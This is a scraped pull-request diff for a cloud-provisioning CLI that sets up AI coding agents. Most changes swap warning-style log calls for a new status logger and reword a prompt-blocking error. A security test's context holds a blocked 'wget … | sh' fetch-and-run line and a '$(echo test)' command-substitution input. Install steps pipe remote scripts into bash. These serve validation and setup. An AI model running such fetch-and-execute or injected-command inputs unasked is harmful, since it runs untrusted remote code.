, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode"); } } catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); } })(); })();
Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions cli/src/__tests__/security.test.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -182,8 +182,8 @@ wget http://example.com/install.sh | sh
validatePrompt("Run $(echo test)");
throw new Error("Expected validatePrompt to throw");
} catch (e: any) {
expect(e.message).toContain("prompt-file");
expect(e.message).toContain("spawn");
expect(e.message).toContain("false positive");
expect(e.message).toContain("rephrasing");
}
});

Expand Down
5 changes: 2 additions & 3 deletions cli/src/security.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -108,9 +108,8 @@ export function validatePrompt(prompt: string): void {
throw new Error(
`Prompt blocked: contains potentially dangerous pattern (${description}).\n` +
`\n` +
`If this is a false positive, use --prompt-file instead:\n` +
` echo "your prompt" > prompt.txt\n` +
` spawn <agent> <cloud> --prompt-file prompt.txt`
`If this is a false positive, try rephrasing to avoid shell-like syntax\n` +
`(e.g., describe the command instead of writing it literally).`
);
}
}
Expand Down
8 changes: 4 additions & 4 deletions digitalocean/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -31,9 +31,9 @@ verify_server_connectivity "${DO_SERVER_IP}"
wait_for_cloud_init "${DO_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${DO_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -54,7 +54,7 @@ else
fi

# 7. Inject environment variables into ~/.zshrc
log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${DO_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -74,7 +74,7 @@ log_info "Droplet: ${DROPLET_NAME} (ID: ${DO_DROPLET_ID}, IP: ${DO_SERVER_IP})"
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions digitalocean/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -166,7 +166,7 @@ create_server() {
validate_resource_name "$size" || { log_error "Invalid DO_DROPLET_SIZE"; return 1; }
validate_region_name "$region" || { log_error "Invalid DO_REGION"; return 1; }

log_warn "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."
log_step "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -219,7 +219,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local droplet_id="$1"

log_warn "Destroying droplet $droplet_id..."
log_step "Destroying droplet $droplet_id..."
local response
response=$(do_api DELETE "/droplets/$droplet_id")

Expand Down
8 changes: 4 additions & 4 deletions hetzner/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -28,9 +28,9 @@ verify_server_connectivity "${HETZNER_SERVER_IP}"
wait_for_cloud_init "${HETZNER_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${HETZNER_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -50,7 +50,7 @@ else
OPENROUTER_API_KEY=$(get_openrouter_api_key_oauth 5180)
fi

log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${HETZNER_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -70,7 +70,7 @@ log_info "Server: ${SERVER_NAME} (ID: ${HETZNER_SERVER_ID}, IP: ${HETZNER_SERVER
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions hetzner/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -244,7 +244,7 @@ create_server() {
validate_resource_name "$server_type" || { log_error "Invalid HETZNER_SERVER_TYPE"; return 1; }
validate_region_name "$location" || { log_error "Invalid HETZNER_LOCATION"; return 1; }

log_warn "Creating Hetzner server '$name' (type: $server_type, location: $location)..."
log_step "Creating Hetzner server '$name' (type: $server_type, location: $location)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -280,7 +280,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local server_id="$1"

log_warn "Destroying server $server_id..."
log_step "Destroying server $server_id..."
local response
response=$(hetzner_api DELETE "/servers/$server_id")

Expand Down
32 changes: 19 additions & 13 deletions shared/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -15,6 +15,7 @@
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Print colored messages (to stderr so they don't pollute command substitution output)
Expand All@@ -30,6 +31,11 @@ log_error() {
printf '%b\n' "${RED}${1}${NC}" >&2
}

# Progress/status messages (use instead of log_warn for non-warning status updates)
log_step() {
printf '%b\n' "${CYAN}${1}${NC}" >&2
}

# ============================================================
# Configurable timing constants
# ============================================================
Expand DownExpand Up@@ -111,7 +117,7 @@ open_browser() {
elif command -v xdg-open &> /dev/null; then
xdg-open "${url}" </dev/null
else
log_warn "Please open: ${url}"
log_step "Please open: ${url}"
fi
}

Expand DownExpand Up@@ -894,7 +900,7 @@ generate_ssh_key_if_missing() {
if [[ -f "${key_path}" ]]; then
return 0
fi
log_warn "Generating SSH key..."
log_step "Generating SSH key..."
mkdir -p "$(dirname "${key_path}")"
ssh-keygen -t ed25519 -f "${key_path}" -N "" -q
log_info "SSH key generated at ${key_path}"
Expand DownExpand Up@@ -1239,7 +1245,7 @@ verify_agent_installed() {
local verify_arg="${2:---version}"
local agent_name="${3:-${agent_cmd}}"

log_warn "Verifying ${agent_name} installation..."
log_step "Verifying ${agent_name} installation..."

if ! command -v "${agent_cmd}" &> /dev/null; then
log_error "${agent_name} installation failed: command '${agent_cmd}' not found in PATH"
Expand DownExpand Up@@ -1334,7 +1340,7 @@ generic_ssh_wait() {
local max_interval=30
local elapsed_time=0

log_warn "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
log_step "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
# shellcheck disable=SC2086
if ssh ${ssh_opts} "${username}@${ip}" "${test_cmd}" >/dev/null 2>&1; then
Expand All@@ -1346,7 +1352,7 @@ generic_ssh_wait() {
local jitter
jitter=$(calculate_retry_backoff "${interval}" "${max_interval}")

log_warn "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
log_step "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
sleep "${jitter}"

elapsed_time=$((elapsed_time + jitter))
Expand DownExpand Up@@ -1452,7 +1458,7 @@ generic_wait_for_instance() {
local poll_delay="${INSTANCE_STATUS_POLL_DELAY:-5}"

local attempt=1
log_warn "Waiting for ${description} to become ${target_status}..."
log_step "Waiting for ${description} to become ${target_status}..."

while [[ "${attempt}" -le "${max_attempts}" ]]; do
local response
Expand All@@ -1472,7 +1478,7 @@ generic_wait_for_instance() {
fi
fi

log_warn "${description} status: ${status} (${attempt}/${max_attempts})"
log_step "${description} status: ${status} (${attempt}/${max_attempts})"
sleep "${poll_delay}"
attempt=$((attempt + 1))
done
Expand DownExpand Up@@ -1583,8 +1589,8 @@ ensure_api_token_with_provider() {

# Prompt for new token
echo ""
log_warn "${provider_name} API Token Required"
log_warn "Get your token from: ${help_url}"
log_step "${provider_name} API Token Required"
log_step "Get your token from: ${help_url}"
echo ""

local token
Expand DownExpand Up@@ -1708,7 +1714,7 @@ setup_claude_code_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Claude Code..."
log_step "Configuring Claude Code..."

# Create ~/.claude directory
${run_callback} "mkdir -p ~/.claude"
Expand DownExpand Up@@ -1762,7 +1768,7 @@ setup_openclaw_config() {
local upload_callback="${3}"
local run_callback="${4}"

log_warn "Configuring openclaw..."
log_step "Configuring openclaw..."

# Create ~/.openclaw directory
${run_callback} "rm -rf ~/.openclaw && mkdir -p ~/.openclaw"
Expand DownExpand Up@@ -1804,7 +1810,7 @@ setup_continue_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Continue..."
log_step "Configuring Continue..."

# Create ~/.continue directory
${run_callback} "mkdir -p ~/.continue"
Expand DownExpand Up@@ -1938,7 +1944,7 @@ ensure_ssh_key_with_provider() {
fi

# Register the key (provider-specific)
log_warn "Registering SSH key with ${provider_name}..."
log_step "Registering SSH key with ${provider_name}..."
local key_name
key_name="spawn-$(hostname)-$(date +%s)"

Expand Down
14 changes: 7 additions & 7 deletions sprite/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -53,7 +53,7 @@ ensure_sprite_installed() {
done

# sprite not found, install it
log_warn "Installing sprite CLI..."
log_step "Installing sprite CLI..."
if ! curl -fsSL https://sprites.dev/install.sh | bash; then
log_error "Failed to install sprite CLI"
log_error ""
Expand All@@ -80,7 +80,7 @@ ensure_sprite_installed() {
# Check if already authenticated with sprite
ensure_sprite_authenticated() {
if ! sprite org list &> /dev/null; then
log_warn "Logging in to sprite..."
log_step "Logging in to sprite..."
sprite login || true
fi
}
Expand All@@ -107,10 +107,10 @@ ensure_sprite_exists() {
return 0
fi

log_warn "Creating sprite '${sprite_name}'..."
log_step "Creating sprite '${sprite_name}'..."
sprite create -skip-console "${sprite_name}" || true

log_warn "Waiting for sprite to be provisioned..."
log_step "Waiting for sprite to be provisioned..."
local elapsed=0
while [[ "${elapsed}" -lt "${max_wait}" ]]; do
if sprite list 2>/dev/null | grep -qE "^${sprite_name}( |$)"; then
Expand All@@ -131,13 +131,13 @@ verify_sprite_connectivity() {
local max_attempts=${2:-6}
local attempt=1

log_warn "Verifying sprite connectivity..."
log_step "Verifying sprite connectivity..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
if sprite exec -s "${sprite_name}" -- echo "ok" >/dev/null 2>&1; then
log_info "Sprite '${sprite_name}' is ready"
return 0
fi
log_warn "Sprite not ready, retrying (${attempt}/${max_attempts})..."
log_step "Sprite not ready, retrying (${attempt}/${max_attempts})..."
sleep "${SPRITE_CONNECTIVITY_POLL_DELAY}"
((attempt++))
done
Expand DownExpand Up@@ -166,7 +166,7 @@ run_sprite() {
# Configure shell environment (PATH, zsh setup)
setup_shell_environment() {
local sprite_name=${1}
log_warn "Configuring shell environment..."
log_step "Configuring shell environment..."

# Create temp file with path config
local path_temp
Expand Down